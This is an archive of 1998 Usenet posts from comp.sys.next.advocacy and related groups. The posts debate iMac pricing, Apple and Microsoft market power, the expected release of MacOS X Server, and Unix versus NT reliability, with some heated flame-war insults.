References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net> <6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com> <6tkdm3$dgb@news1.panix.com> <jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com> <6tp05f$s80@news1.panix.com> <jdoherty-1709980042060001@aus-tx28-05.ix.netcom.com>
In article <jdoherty-1709980042060001@aus-tx28-05.ix.netcom.com>,
jdoherty@ix.netcom.com (John Doherty) wrote:
> A person who use Photoshop all day isn't going to get a damn thing
> out of learning either VB or AppleScript, because Photoshop doesn't
> support either one.
There is a third party product that facilitates the scripting of
Photoshop. It appears to be quite powerful. I think Apple's site has a
blurb on it or you could search Macintouch. They demoed it at Seybold and
one attendee said that the scripts they showed did just about everything
he would want to automate.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 10:04:22 GMT
Organization: P & L Systems
Message-ID: <6tqmr6$4n4$4@ironhorse.plsys.co.uk>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net>
<6toh3t$3ec@newsb.netnews.att.com> <36007638.23CDD81F@exu.ericsson.se>
<6tokr7$3is@newsb.netnews.att.com> <360080D2.8389C025@exu.ericsson.se>
Mime-Version: 1.0
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Cc: eusmpec@exu.ericsson.se
In <360080D2.8389C025@exu.ericsson.se> Michael Peck wrote:
> I said nothing about Rhapsody betas. I mentioned Developer Releases and
> Customer Releases. One assumes the difference is whether or not the
> release is public. It has nothing to do with presenting a finished
> product. Is CR1 supposed to be a shrink-wrapped, retail-sold product? I
> have no idea. I assumed it was a public beta.
>
Now why would you assume that?
> How does this strengthen your case? You have moved from credulity over
> Rhapsody's eventual shipment to more comparisons between NT and MacOS X
> Server. What is it with you and Windows NT?
>
I think the reason's been made clear elsewhere in This Fascinating Thread.
Now it looks like it's Put Up Or Shut Up Time again, though.
Michael, I'm willing to make two bets:
(a) MacOS X Server ships(*) before end November, 1998.
(b) MacOS X Server ships before Windows NT 5.0.
I'll put $100 on each.
Take me up on at least one of them, or please keep your FUD to yourself.
mmalc.
(*) i.e. it's available for public purchase as a non-beta product.
PS: It's interesting to note that if someone else had had the courage of
their convictions when I offered a similar wager about a year ago, I'd
actually have been $100 down.
Newsgroups: comp.sys.mac.programmer.codewarrior,comp.sys.mac.system,comp.sys.mac.wanted,comp.sys.next.advocacy,comp.sys.palmtops,comp.sys.powerpc.advocacy,comp.sys.psion.misc,comp.sys.sinclair,comp.sys.sun.admin,comp.sys.sun.hardware
From: news@news.msfc.nasa.gov
Message-ID: <cancel.36006E57.22EDABCD@pacific.net.sg>
Control: cancel <36006E57.22EDABCD@pacific.net.sg>
Subject: cmsg cancel <36006E57.22EDABCD@pacific.net.sg>
Organization: http://www.msfc.nasa.gov/
Date: Thu, 17 Sep 1998 02:15:03 GMT
Sender: Animation Design Effects Centre Pte Ltd <adec@pacific.net.sg>
Make Money Fast post canceled by J. Porter Clark.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 09:54:04 GMT
Organization: P & L Systems
Message-ID: <6tqm7s$4n4$3@ironhorse.plsys.co.uk>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
<6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com>
<6tlmsr$pec$1@nnrp1.dejanews.com> <nDIL1.6166$MS.15673094@news.rdc1.sdca.home.com>
<6tnnv7$3sj$1@msunews.cl.msu.edu> <6tonmp$hhn$1@news.spacelab.net>
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Cc: chuck@codefab.com
In <6tonmp$hhn$1@news.spacelab.net> "Charles W. Swiger" wrote:
> They did, of course, ship a NUMA AMP (non-uniform memory architecture
> asymmetric multiprocessing...which is about as close to techobabble as I
like
> to come) version-- the NeXT Dimension system.
>
Wow, that's past technobabble and out the other side, Chuck! :-)
Best wishes,
mmalc.
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 17 Sep 1998 02:16:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tpre0$7uf@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se>
On Thu, 17 Sep 1998 03:16:23 -0500,
Michael Peck <eusmpec@exu.ericsson.se> wrote:
>> Then I don't see why you claim that Apple is a monopolist. They have less than
>> 5% of a market that _can_ move to windows and use the same Apps (and fonts)
>> that they use now. Microsoft has 90+% of that same market.
>The claim was simply that Apple uses "monopolistic tactics". The fact
>that it does, and succeeds, sort of defines the event, doesn't it?
I don't see how Apple has succeeded in the use of "monopolistic tactics"
If it did, then why did the market share drop?
>Keep in mind, Sal, that I don't personally believe in the existence of
>"monopolies".
If I choose not to personally believe in the existence of gravity, I
would not gain the ability to fly.
>Ironically, your arguments that Apple is *not* a monopoly are the same
>arguments I would use to demonstrate that *all* monopolies are a
>fallacy.
Having 90%+ of a market gives you a defacto monopoly. Using that to
gain unfair advantage in other markets is abuse of monopoly power. The
sherman antitrust law is clear on this fact.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 17 Sep 1998 02:16:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tprdu$7uf@news1.panix.com>
References: <6tnctm$d3q@news1.panix.com> <35FF4C9C.6E1E6224@trilithon.com> <6tp05d$s80@news1.panix.com> <edewEzE9Dn.7BH@netcom.com>
On Wed, 16 Sep 1998 20:39:23 GMT, Eric Dew <edew@netcom.com> wrote:
>The iMac is not a commodity.
Yes it is. Apple is selling it as its "Consumer line"
> People buy it because it's not beige, because
>it looks cool, because it's different. That's the marketing angle. The
>price point is just where people are willing to part with their money.
Commodity items can have clever marketing. (ie Coke is it.)
>Apple will do better by throwing in additional features and bumping the
>price up a bit. (That is, better than dropping the price.)
The iMac is the "Consumer line" according to Apple. It makes sense to
have multiple price points in that line. Keep the $1299 price for a
high end, and lower prices as newer high powered machines can be sold.
Apple did this with the LC. When the LCII arrived, the LC had a price
drop while the LCII sold at the old LC price.
>>OEMing would allow Apple to build more iMacs for less money. That will
>>allow them to lower prices, therefore reach customers that have a lower
>>pricepoint. That will allow Apple to sell more iMacs for less money.
>>This is the same thing that Steve did with the Apple ][ and Bill Gates
>>did with the PC. (It is also what Steve failed to do with NeXT, and
>MS product is sold for low $$.
No it isn't. MS's "Consumer" products are low cost. MS's "Pro" products
cost a lot more. Apple is in the same boat.
> Apple can't compete in that arena, so it
>shouldn't. It is competing in a new arena...that of simplicity and
>internet readiness. The best way to compete is to NOT compete...create
>a new niche and do an end run around the competition.
Bull. The best way to compete is to create a "positive feedback loop"
and grow your market share. Apple almost died doing what you just
sugested, sticking to a niche. Apple was run like a "tree fort" for over
a decade. Now its time to put away the costumes and toy guns and run
the company like adults.
Arguable, Apple's pro line is a niche market, and this will not change
anytime soon (If ever). Keep in mind what Steve Jobs said about how
he would save Apple (from the Wired interview)
"Milk the Mac for all its worth, then move on to the next big thing"
This is what he is doing with the iMac.
>>> If you drop prices, all that
>>>happens is that people who would not have previously considered
>>>buying the product may now buy the product.
>If you drop prices, people will perceive a desperation move and might avoid
>the product like the plague.
Not true. Look at how well Sub $1k PCs are doing.
>>The demand for $1000 VCRs was much less than the demand for $200 VCR,
>>when prices dropped, more people were willing to buy VCRs. (IE, the
>And the current demand for 4-head gizmo-X $600 VCRs are way higher than
>on cheapie Goldstar $100 VCRs. Again, the iMac is not competing head to
>head against PCs.
Yes it is. Go down to CompUSA and see for yourself.
> It is striking out on a new niche.
Why shouldn't it be a growing niche?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 17 Sep 1998 02:16:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tprdv$7uf@news1.panix.com>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tp6ft$i1t$1@news.spacelab.net> <6tp7nq$oku$1@bunyip.cc.uq.edu.au>
On Thu, 17 Sep 1998 06:42:50 +1000, Christopher Smith <drsmithy@usa.net> wrote:
>>I don't know whether that is Scott's opinion, but lord knows it's certainly
>>mine. Doskey and a Cmd prompt do not come close to zsh on a Unix box. The
>>largely MS-DOS derived CLI programs under NT are wildly inconsistent in
>their
>>command-line arguments, syntax, ability to handle wildcards, and so forth.
>
>Given that I have always found CLI tools under NT to be far more consistent
>wrt to the criteria you give above, I'd be interested to hear some examples.
>
I think he is talking about "wildcard expansion" as opposed to some Apps that
use the "wildcards as an argument"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 17 Sep 1998 02:18:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tprgr$7ul@news1.panix.com>
References: <6tkdlv$dgb@news1.panix.com> <rmcassid-1409982105430001@dialin9181.slip.uci.edu> <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com>
On Wed, 16 Sep 1998 20:31:53 GMT, Eric Dew <edew@netcom.com> wrote:
>In article <6tnctm$d3q@news1.panix.com> sal@panix.com writes:
>>I expect Apple to drop the current iMac down to under $999 and introduce
>>a faster iMac (maybe with dvd) at the $1299 price.
>Look, they're selling the iMac as fast as they can produce them.
So, build more. The market likes this product. Wouldn't it be better if
Apple sold iMacs to this market, rather than waiting for knock-offs to
pop up to fulfill the demand?
> They
>can't produce any more or any faster, so why drop the price?
Build more. OEM the damn thing.
> If anything,
>they'd be better off adding a little bit more of feature and upping the
>price. That way, they can control the inventory a bit better.
So build a better one for $1299 and sell the current one for $999.
>Basic rule in business is that you drop price only when you can't move
>the product.
Or if you want to move _more_ of the product. Henry Ford did that. So did
Edison. And Apple thinks that they had the courage to "Think Different"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: 17 Sep 1998 02:18:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tprgs$7ul@news1.panix.com>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com> <rmcassid-1409982052490001@dialin9181.slip.uci.edu> <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com> <rmcassid-1609981153440001@hephaestus.eng.uci.edu> <6tp5l8$ro@news1.panix.com> <AYXL1.6217$MS.16131090@news.rdc1.sdca.home.com>
On Wed, 16 Sep 1998 23:37:04 GMT, rr6013@yahoo.com <rr6013@yahoo.com> wrote:
>Sal, you're the man...
Thank Stephane Corthesy for the program and Scott Anguish for Stepwise.
>if this compiles on MacOS X then there is an Apple in
>my future. But we must wait...
As a stock holder, I urge you to buy at least three... :)
>Note: this version can be used only with RDR2; it cannot work on
> RDR1, and will probably fail to work as-is with future versions
> of Rhapsody/MacOS X. The NeXTStep style will disappear in future
> releases (sniff!).
Did you read the bit about adding new NSInterfaceStyles by editing the
plist? I get a feeling that You'll be able to pick and choose from a
bunch of NeXT-Like UIs by the time OSX ships.
Anyone know if this can be extended to use pixmaps like E does?
From: sal@panix.com (Sal Denaro)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 17 Sep 1998 02:18:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tprgt$7ul@news1.panix.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com>
On Wed, 16 Sep 1998 16:47:33 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Gerard Motola wrote:
>> But they can't.
>Sal, Mr. Motola is a case in point. I think this pretty much validates
>what I'm saying.
No it doesn't. If I believe that Compaq machines are the best, does that
mean that Dell machines can not replace Compaq hardware?
Gerard Motola's belief is not enough to alter reality. To him, nothing
can replace a Mac. To me, nothing can replace a cold Bass Ale. My belief
doesn't alter reality and cause Budweiser to stop being a beer.
Apple has 5% of the desktop market. Microsoft has over 90%. I do not
object to Microsoft having that monopoly. I do object to them making use
of that power to undermine the freedoms of individuals who work in the
computing industry.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 17 Sep 1998 02:27:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tps27$847@news1.panix.com>
References: <360027ec.0@news.depaul.edu> <edewEzEFtA.M2G@netcom.com> <36004a01.0@news.depaul.edu> <edewEzEM7z.GpB@netcom.com>
On Thu, 17 Sep 1998 01:16:46 GMT, Eric Dew <edew@netcom.com> wrote:
>>"Why buy Windows when you can buy the real thing, a Mac?" That didn't
>>work either, and that attitude won't work with the iMac.
>That's exactly right. Mac had the lock on the UI and didn't do the right
>thing with it. Instead, they tried the legal route. If they instead plead
>with the market by selling the fact that Windows is a Mac knock-off, they'd
>be in better shape than what really happened.
I doubt it. The market was willing to go with a knock-off for no other
reason then supply. When I bought my MacSE, I had to wait three days to
pick it up. Everyone who bought PCs got them the same day.
>Look, it's not whether the iMac is in reality the un-cola. It's the perception
>that counts. The perception and the moment is that the iMac IS different.
And what is keeping Compaq from building a Knock-Off? Is everyone down
in Texas color-blind? Is all that sand making them the whole world is beige?
>Is the iMac marketing plan working just right? Can't say for sure. But,
>it's helluva better than whining to the DoJ that MS copied the GUI.
Selling _more_ iMacs would be better. Do you have some objection with Apple
getting the #1 spot in PC sales? As a stock holder, I hope they don't hire
you for a marketing job.
From: OWSCR@hotmail.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 10:42:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tqp30$its$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <5UuI1.1221$2s.1206519@newsfeed.slurp.net>
Nope.
That would be "If the computer does something silly, then I musn't have read
the manual properly".
Windoze boxes don't come with MAN.
Idiot.
You watch new windoze users.
"Argh! It has crashed. WHAT have I done wrong?"
etc.
Windoze goes wrong non-stop.
New users who have got the idea from somewhere that microshit products are
infallible mostly just assume that it's something they have done.
Unix users realease that they are using an operating system that is actually
pretty logical and intuitive if you take a little time to read the manuals.
Besides.
I have never yet seen a Unix system (linux irix solaris nextstep) crash.
Oh alright, so stuff screws up occasionally if you mess with configuration
files etc...
But if you check what you are doing first, it's really hard to fritz anything.
Have you had the skull implant or what?
In article <5UuI1.1221$2s.1206519@newsfeed.slurp.net>,
"Dan" <dan@knowspaam.com> wrote:
> hughesojh@my-dejanews.com wrote in message
> <6srcdn$2dl$1@nnrp1.dejanews.com>...
>
> >"If the computer does something dumb, why it must be MY fault".
>
> This is the Linux users mentality.
>
> Dan
>
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: adec@pacific.net.sg (Animation Design Effects Centre Pte Ltd)
Newsgroups: comp.sys.mac.programmer.codewarrior,comp.sys.mac.system,comp.sys.mac.wanted,comp.sys.next.advocacy,comp.sys.palmtops,comp.sys.powerpc.advocacy,comp.sys.psion.misc,comp.sys.sinclair,comp.sys.sun.admin,comp.sys.sun.hardware
Subject: cmsg cancel <36006E57.22EDABCD@pacific.net.sg>
Control: cancel <36006E57.22EDABCD@pacific.net.sg>
Date: 17 Sep 1998 07:34:34 -0400
Organization: University of Economics and Business Administration, Vienna, Austria
Sender: root@cantine.wu-wien.ac.at
Message-ID: <cancel.1.36006E57.22EDABCD@pacific.net.sg>
Spam Cancelled by news-admin@wu-wien.ac.at
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 17 Sep 1998 11:39:56 GMT
Organization: Idiom Communications
Message-ID: <6tqsec$g67$1@news.idiom.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134>
<6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137>
<6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
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<6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com>
<heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com>
<6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3>
<6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com>
<heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net>
<6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com>
<6tkdm3$dgb@news1.panix.com> <jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com>
<6tp05f$s80@news1.panix.com> <jdoherty-1709980042060001@aus-tx28-05.ix.netcom.com>
<*johnnyc*-1709980656100001@jchristie.halifaxcable.dal.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: *johnnyc*@or.psychology.dal.ca
John Christie may or may not have said:
-> In article <jdoherty-1709980042060001@aus-tx28-05.ix.netcom.com>,
-> jdoherty@ix.netcom.com (John Doherty) wrote:
->
-> > A person who use Photoshop all day isn't going to get a damn thing
-> > out of learning either VB or AppleScript, because Photoshop doesn't
-> > support either one.
->
-> There is a third party product that facilitates the scripting of
-> Photoshop. It appears to be quite powerful. I think Apple's site has a
-> blurb on it or you could search Macintouch. They demoed it at Seybold and
-> one attendee said that the scripts they showed did just about everything
-> he would want to automate.
Of course, once Mac OS X comes out, you can just punt photoshop altogether
and buy TIFFany, which beats photoshop all to hell, *particularly* when it
comes to scripting repetitive tasks. Look into their "hot folder" feature.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 17 Sep 1998 11:47:30 GMT
Organization: Idiom Communications
Message-ID: <6tqssi$g67$2@news.idiom.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com>
<tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr>
<6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net>
<6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227>
<ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com>
<6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com>
<5UuI1.1221$2s.1206519@newsfeed.slurp.net> <6tqp30$its$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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Cc: OWSCR@hotmail.com
OWSCR@hotmail.com may or may not have said:
-> I have never yet seen a Unix system (linux irix solaris nextstep) crash.
Then you need to get out more.
UNIX is *far* from stable. UNIX sysadmins think a one-year uptime is
impressive. For a bit of perspective, consider that Tandem and Stratus both
consider a reboot an event worthy of a service call!
For that matter, care to guess how often MVS systems have an unscheduled
restart?
UNIX is a microcomputer OS. It's considerably more stable than the game
loaders that MicroSquish sells, but it's still not an industrial-strength OS.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
Date: Thu, 17 Sep 1998 13:56:22 +0200
From: Jm@spam.no.thanks (Jerry M.)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Message-ID: <Jm-1709981356220001@macbb2212b.unil.ch>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net>
Organization: None
In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> A quick remider to you all...
> It is _not_ illegal to have a monopoly.
No, but it should be.
In fact, just Microsoft should be illegal.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 16 Sep 1998 22:17:41 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <36007F55.B489EF78@nstar.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com>
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Sal Denaro wrote:
> No it doesn't. If I believe that Compaq machines are the best, does that
> mean that Dell machines can not replace Compaq hardware?
He didn't say Macs are the best. He said that PCs couldn't replace a
Mac. The reality is in whether or not he buys a PC to replace a Mac,
see?
> Gerard Motola's belief is not enough to alter reality. To him, nothing
> can replace a Mac. To me, nothing can replace a cold Bass Ale. My belief
> doesn't alter reality and cause Budweiser to stop being a beer.
Of course not. You're getting way off track. If nothing can replace a
Bass Ale (and I agree) then you will buy a Bass Ale for any particular
circumstance that merits it. It doesn't matter whether or not Budweiser
is a beer; you won't replace your Bass Ale with Budweiser.
Consequently, even if Bass Ale were more expensive you would continue to
buy it, because there is no replacement.
> Apple has 5% of the desktop market. Microsoft has over 90%. I do not
> object to Microsoft having that monopoly. I do object to them making use
> of that power to undermine the freedoms of individuals who work in the
> computing industry.
They don't undermine your freedom any more than Apple does.
MJP
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Thu, 17 Sep 1998 12:49:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tr0hg$q90$1@nnrp1.dejanews.com>
References: <6toqvk$aqs$1@nnrp1.dejanews.com> <6tpa71$5s1@shelob.afs.com>
Greg_Anderson@afs.com wrote:
> Stephan, to answer your original question: Yes, I think OS X Server is
> an imminent probability. No, Apple has not given up on it. No, I do not
> know how much it will cost, how it will be sold, or to whom it will be
> marketed. But I hope *someone* latches onto what a gem they have, and
> starts promoting it soon. Just MHO.
Amen. I hope someone in Cupertino is listening.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
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From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Thu, 17 Sep 1998 12:55:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6tr0r9$qm6$1@nnrp1.dejanews.com>
References: <6tkdlv$dgb@news1.panix.com> <rmcassid-1409982105430001@dialin9181.slip.uci.edu> <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com> <360027ec.0@news.depaul.edu>
Eric Dew <edew@netcom.com> wrote:
> Look, they're selling the iMac as fast as they can produce them. They
> can't produce any more or any faster, so why drop the price? If anything,
> they'd be better off adding a little bit more of feature and upping the
> price. That way, they can control the inventory a bit better.
> Basic rule in business is that you drop price only when you can't move
> the product.
While I agree on the general point, I think one needs to be careful. If you
wait until demand drops off before lowering prices to remain competitive, you
risk having all those Apple nay-sayers out there, who are currently eating
their hearts out, jump right back out saying "Hah! see? we told you iMac was
a one-day wonder!" and re-igniting the whole "Apple is doomed" feeling.
So I think Apple does need to make some carefully-timed adjustments in both
prices and features to maintain the iMac (and its other products) competitive
with wintel offerings. Now that they've regained momentum, they need to make
sure they retain it. Being late in adjusting their prices downward could well
harm that momentum.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
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From: Rob McG <rmcgcreative@SPAMFREE.yahoo.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
